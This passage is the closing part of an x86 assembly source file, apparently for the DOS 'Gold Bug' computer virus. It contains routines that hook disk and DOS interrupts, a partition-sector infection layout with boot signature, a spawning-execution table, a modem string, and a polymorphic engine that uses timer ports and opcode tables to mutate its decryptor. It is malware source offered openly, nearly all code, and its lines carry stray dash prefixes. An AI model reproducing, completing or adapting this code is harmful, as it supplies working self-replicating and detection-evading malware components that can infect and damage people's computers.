-
-
-
- get_n_set_int proc near
-
- les dx,dword ptr cs:[di]
-
- jmp short set_interrupt
-
- set_int_10_21: mov byte ptr ds:[bx+FAR_JUMP_OFFSET],FAR_JUMP
-
- set_interrupt: mov word ptr ds:[bx+SET_INT_OFFSET],dx
-
- mov word ptr ds:[bx+CHANGE_SEG_OFF],es
-
- ret
-
- get_n_set_int endp
-
-
-
- ;-----------------------------------------------------------------------------
-
-
-
- IF MULTIPARTITE
-
- set_both_ints proc near
-
- mov bx,(NEW_INT_13_LOOP*ADDR_MUL)-SET_INT_OFFSET
-
- call get_n_set_int+ONE_BYTE
-
- mov bl,low(BIOS_INT_13*ADDR_MUL)-SET_INT_OFFSET
-
- jmp short set_interrupt
-
- set_both_ints endp
-
- ENDIF
-
-
-
- ;-----------------------------------------------------------------------------
-
-
-
- IF EXECUTE_SPAWNED
-
- exec_table db COMMAND_LINE,FIRST_FCB,SECOND_FCB
-
- ENDIF
-
-
-
- ;-----------------------------------------------------------------------------
-
-
-
- IF MODEM_CODE
-
- org PART_OFFSET+001f3h
-
- string db CR,'1O7=0SLMTA'
-
- ENDIF
-
-
-
- ;-----------------------------------------------------------------------------
-
-
-
- org PART_OFFSET+SECTOR_SIZE-TWO_BYTES
-
- partition_sig dw 0aa55h
-
-
-
- ;-----------------------------------------------------------------------------
-
-
-
- org PART_OFFSET+SECTOR_SIZE+TWO_BYTES
-
- file_name db 'DA',027h,'BOYS.COM',NULL
-
-
-
- ;-----------------------------------------------------------------------------
-
-
-
- org PARAMETER_TABLE
-
- dw NULL,NULL,NULL,NULL,NULL,NULL,NULL
-
- db NULL
-
-
-
- ;-----------------------------------------------------------------------------
-
-
-
- IFE MULTIPARTITE
-
- boot_load proc near
-
- push cs
-
- pop es
-
- call full_move_w_si
-
- mov ds,cx
-
- cmp cx,word ptr ds:[NEW_INT_13_LOOP*ADDR_MUL]
-
- jne dont_set_intcd
-
- lds dx,dword ptr ds:[VIRGIN_INT_13_B]
-
- mov ax,DOS_SET_INT+NEW_INT_13_LOOP
-
- int DOS_INT
-
- dont_set_intcd: mov ah,high(GET_DEFAULT_DR)
-
- int DOS_INT
-
- call from_com_code+RELATIVE_OFFSET
-
- mov ax,TERMINATE_W_ERR
-
- int DOS_INT
-
- boot_load endp
-
- ENDIF
-
-
-
- ;-----------------------------------------------------------------------------
-
-
-
- IF POLYMORPHIC
-
- load_it proc near
-
- mov word ptr ds:[si],FILE_SIGNATURE
-
- mov byte ptr ds:[si+TWO_BYTES],FIRST_UNDO_OFF
-
- push bx
-
- xor ax,ax
-
- cli
-
- out 043h,al
-
- in al,040h
-
- mov ah,al
-
- in al,040h
-
- sti
-
- push ax
-
- and ax,0001eh
-
- mov bx,ax
-
- mov ax,word ptr ds:[bx+two_byte_table]
-
- mov word ptr ds:[si+ROTATED_OFFSET+TWO_BYTES],ax
-
- org $-REMOVE_NOP
-
- pop ax
-
- and ax,003e0h
-
- mov cl,FIVE_BITS
-
- shr ax,cl
-
- mov bx,ax
-
- mov al,byte ptr ds:[bx+one_byte_table]
-
- xor al,low(INC_BL)
-
- mov byte ptr ds:[swap_incbx_bl+THREE_BYTES],al
-
- pop bx
-
- jmp com_start
-
- load_it endp
-
-
-
- ;-----------------------------------------------------------------------------
-
-
-
- two_byte_table: mov al,0b2h
-
- xor al,0b4h
-
- and al,0d4h
-
- les ax,dword ptr ds:[si]
-
- les cx,dword ptr ds:[si]
-
- les bp,dword ptr ds:[si]
-
- adc al,0d4h
-
- and al,084h
-
- adc al,084h
-
- adc al,024h
-
- add al,084h
-
- add al,014h
-
- add al,024h
-
- test dl,ah
-
- repz stc
-
- repnz stc
-
-
-
- ;-----------------------------------------------------------------------------
-
-
-
- one_byte_table: int SINGLE_BYTE_INT
-
- into
-
- daa
-
- das
-
- aaa
-
- aas
-
- inc ax
-
- inc cx
-
- inc dx
-
- inc bp
-
- inc di
-
- dec ax
-
- dec cx
-
- dec dx
-
- dec bp
-
- dec di
-
- nop
-
- xchg cx,ax
-
- xchg dx,ax
-
- xchg bp,ax
-
- xchg di,ax
-
- cbw
-
- cwd
-
- lahf
-
- scasb
-
- scasw
-
- xlat
-
- repnz
-
- repz
-
- cmc
-
- clc
-
- stc
-
- ENDIF
-
-
-
- ;-----------------------------------------------------------------------------
-
-
-
- gold_bug endp
-
- cseg ends
-
- end com_code
-
-